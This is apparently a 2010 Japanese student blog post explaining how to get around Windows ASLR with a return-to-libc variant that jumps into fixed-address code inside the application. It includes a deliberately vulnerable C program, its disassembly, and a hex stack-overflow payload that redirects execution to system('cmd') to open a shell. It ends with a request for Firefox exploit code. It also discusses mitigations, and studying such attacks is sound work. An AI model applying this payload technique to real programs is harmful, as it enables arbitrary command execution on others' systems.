ASLRがあっても出来るreturn-to-libc攻撃

久しぶりです。7月一杯はテスト続きで遊べそうにありません…。8月は多少遊べるかと思いますが、9月の初旬にはまたテストがあります。ち な み に 文 系 は あ り ま せ ん 。9月の初旬のテストの後はまた一ヶ月ほど休みがあるので、その時には色々出来るかもしれません。あっ、でも免許取らないと。

とはいえ、情報科学概論Ⅰという講義を聴いている最中にふと思いついたセキュリティネタがあったので投稿します。ちょっと調べた感じだとこの手法は見つからなかったんですが、どう考えてもたいした工夫ではないので既出かもしれません。既出だったらスマソ。

return-to-libc攻撃とASLR

まずreturn-to-libc攻撃について説明しましょう。知ってるという方は飛ばしてください。return-to-libcはバッファオーバーフロー攻撃の一種です。スタック上のバッファに、その大きさ以上のデータを書き込んでしまうことで発生します。

イメージとしてはこんな感じ

20100704_overflow.jpg

関数がリターンした後のスタックの構造が、ちょうどsytem関数を呼び出したときと同じように工夫するのがミソです。CPUはこの時、system(“cmd”)が実行された時と同じように振る舞い、結果任意のコマンドを実行させる事が可能になってしまいます。

Windows Vista以降では、ASLRといって、system()関数も含めた外部ライブラリに含まれる関数のアドレスを毎回ランダムにする事でこの攻撃を防いでいます。戻るべきsystem()関数のアドレスが毎回変わってしまうのですから、攻撃を成功させることも難しくなる、大変有効な対策です。†1

アドレスが毎回変わらない関数

しかし、毎回アドレスが絶対に変わらない関数があります。それはアプリケーション内の関数です。アプリケーション内の関数は、DLLでロードされるライブラリと違い、毎回ロード先のアドレスが変わらないようです。(確かPEヘッダで指定するんだったっけ?)

なら、ランダムで戻るのが難しいライブラリの関数に戻るのでなく、このアプリケーション内の関数に戻れば良いのでは…?いやいや、戻る先も関数そのものでなくともよく、書き込むスタックの内容さえ工夫すれば同じプログラムに含まれるありとあらゆるコードにジャンプして任意の処理を実行できるのでは…?

Windows Vista / Windows 7 Starter(32ビット)で確認できた実演デモ

本来はファイルの内容を表示するプログラムですが、この脆弱性によってシェルを実行するように改変されています。

ダウンロード

Vista Businessと 7 Starter(どちらも32ビット)で動作を確認しています。

2010/07/04現在で最新にアップデートしてあるWindows7/Windows Vista(どちらも32ビット)で動作を確認しています。アップーデートで使えなくなる可能性は十分ありますので、起動しなくてもめげないでね!

スクリーンショット

20100704_overflow2.jpg

こんな感じでシェルが実行されます。

コードの解説

まずは意図的にバッファーオーバーフローさせてるプログラムのソースコードを。

#include 
#include 
#include 

void exec(){
	//何かの処理
	fprintf(stdout,"debug message\n");
	//外部アプリケーションの実行
	system("ipconfig");
}

int main(int argc, char* argv[]){
	//ファイルの中を表示するだけのクソプログラム
	FILE* file = fopen("data.dat","rb");

	//ファイルサイズを取得
	fseek( file, 0, SEEK_END );
  	int size = ftell( file );
	fprintf(stdout,"file size: %d\n", size);
	fseek( file, 0, SEEK_SET );

	//ファイルサイズ分だけコピー。ここでオーバーフロー。
  	char dst[40];
	fread(dst,size,1,file);
	//ここでfileにNULLを代入してもクラッシュはしない
	fclose(file);

	fprintf(stdout,"content: %s\n", dst);

	return 0;
}

上のほうのexec()がポイントです。想定としては、プログラム内から他のアプリケーションを呼ぶような動作を模擬したものと考えてください。今回は”debug message”を表示させることなくsystem関数を呼び出し、さらにそのコマンドも”ipconfig”でなく”cmd”を実行します。

逆アセンブルコード

exec関数
00401318  /. 55             PUSH EBP
00401319  |. 89E5           MOV EBP,ESP
0040131B  |. 83EC 18        SUB ESP,18
0040131E  |. A1 14414000    MOV EAX,DWORD PTR DS:[<&msvcrt._iob>]    ; ||
00401323  |. 83C0 20        ADD EAX,20                               ; ||
00401326  |. 894424 0C      MOV DWORD PTR SS:[ESP+C],EAX             ; ||
0040132A  |. C74424 08 0E00>MOV DWORD PTR SS:[ESP+8],0E              ; ||
00401332  |. C74424 04 0100>MOV DWORD PTR SS:[ESP+4],1               ; ||
0040133A  |. C70424 3020400>MOV DWORD PTR SS:[ESP],target.00402030   ; ||ASCII "debug message"
00401341  |. E8 26070000    CALL <JMP.&msvcrt.fwrite>                ; |\fwrite
00401346  |. C70424 3F20400>MOV DWORD PTR SS:[ESP],target.0040203F   ; |ASCII "ipconfig"

/** main関数をここへリターンさせる! **/
0040134D  |. E8 22070000    CALL <JMP.&msvcrt.system>                ; \system
00401352  |. C9             LEAVE
00401353  \. C3             RETN

 

main関数

 

00401354  /$ 55             PUSH EBP
00401355  |. 89E5           MOV EBP,ESP
00401357  |. 83E4 F0        AND ESP,FFFFFFF0
0040135A  |. 83EC 40        SUB ESP,40
0040135D  |. E8 CE040000    CALL target.00401830
00401362  |. C74424 04 4820>MOV DWORD PTR SS:[ESP+4],target.00402048 ; ||||||||ASCII "rb"
0040136A  |. C70424 4B20400>MOV DWORD PTR SS:[ESP],target.0040204B   ; ||||||||ASCII "data.dat"
00401371  |. E8 06070000    CALL <JMP.&msvcrt.fopen>                 ; |||||||\fopen
(中略)
00401401  |. E8 8E060000    CALL <JMP.&msvcrt.fread>                 ; ||\fread
00401406  |. 8B4424 38      MOV EAX,DWORD PTR SS:[ESP+38]            ; ||
0040140A  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; ||
0040140D  |. E8 8A060000    CALL <JMP.&msvcrt.fclose>                ; |\fclose
00401412  |. A1 14414000    MOV EAX,DWORD PTR DS:[<&msvcrt._iob>]    ; |
00401417  |. 8D50 20        LEA EDX,DWORD PTR DS:[EAX+20]            ; |
0040141A  |. 8D4424 10      LEA EAX,DWORD PTR SS:[ESP+10]            ; |
0040141E  |. 894424 08      MOV DWORD PTR SS:[ESP+8],EAX             ; |
00401422  |. C74424 04 6320>MOV DWORD PTR SS:[ESP+4],target.00402063 ; |ASCII "content: %s"
0040142A  |. 891424         MOV DWORD PTR SS:[ESP],EDX               ; |
0040142D  |. E8 72060000    CALL <JMP.&msvcrt.fprintf>               ; \fprintf
00401432  |. B8 00000000    MOV EAX,0
00401437  |. C9             LEAVE
00401438  \. C3             RETN

 

攻撃コード

20100704_overflow3.jpg

 

7468 6973  this
2064 6174   dat
6120 6973  a is
2061 2073   a s
6865 6c6c  hell
636f 6465  code
2c20 6861  , ha
6861 2e00  ha..
0000 0000 ....
0000 0000  ....

 

最初の40バイトはバッファにあふれない分のデータです。

何かメッセージが出ないと寂しいので、文章を書き込んであります。

 

0000 0000  .... //上書きされる"file"の値(注意:fclose(NULL)はエラーにならない)
0000 0000  .... //上書きされる"size"の値
0000 0000  .... // 作業用領域(freadの後には使われない)
0000 0000  .... // 作業用領域(freadの後には使われない)
0000 0000  .... // "leave"命令で使われる、EBPに代入されるアドレス(適当でいい)
4d13 4000  M.@. // 命令"CALL <JMP.&msvcrt.system>"がおいてあるところへのポインタ

 

関数が戻るまでにクラッシュしないように工夫した†2ローカル変数領域です。

リターンアドレスが、exec()内でsystem関数を呼び出す直前になっています。

以下が、”CALL <JMP.&msvcrt.system>”に戻ったときに使うデータです。

 

38ff 2200  8.". //下の文字列"cmd"へのポインタ
0000 0000  ....
636d 6400  cmd.
0000 0000  ....

 

スタックに引数”cmd”が乗せられている状態になっていて、この状態で”CALL <JMP.&msvcrt.system>”を実行すればコマンドプロンプトが実行される、というわけです。

libcに限らず、実行できてはいけない処理が意図しないタイミングで実行される

この手法を使えば、プログラム中に含まれるありとあらゆる処理が意図しないタイミングで実行し放題になると思われます。出来そうな事はこんな感じ。

  • 今回のように、アプリケーション内で呼ばれているAPI(たとえばsystem())に戻って任意のコマンドを実行する
  • パスワードやらなにやらの認証機構で保護されている処理を無理やり呼び出す
  • WinGrooveのコピートラップ関数を呼び出す(笑)

Linuxではさらに制限が掛かる

linuxでは「PAX」によって以下のようにスタックのアドレスも毎回ランダムで変わるので、Windowsより制限が厳しくなります。スタック破壊を検出するStack-Smashing-Protectorとかでも制限が掛かるかも…。

上記のプログラムのローカル変数「size」のアドレスを表示するプログラムです:

 

$ ./stack
addr of "size": bfb5de08
$ ./stack
addr of "size": bfec2a58
$ ./stack
addr of "size": bfbc6288

 

このように、毎回かなりランダムになる事が分かります。文字列等のポインタを扱うにはスタック上のアドレスが必要なので使えず、イミディエイトな値のみしか扱えなくなります。

とはいえ、この辺は通常のreturn-to-libcと同じなのでいろいろと回避テクがあるかもしれません。

出来そうな対策は?

  • DLLだけでなく、アプリのロード先も毎回ランダムにする

これしかないと思います。今ちょっと確認したところ、殆どのソフトウェア内のcall/jmpはすべて相対ジャンプで行われているようですし、たぶん問題は起きないと思います。DLLでは既にそうなっていますから、特に問題は無いはず…。Linuxだと実はすでに行われてるのかな?

誰かFirefoxのバッファオーバーフローのexploitコードのありかを教えてくれー

 

実演動画作ってニコニコ動画に上げます!(流石に公開はしない)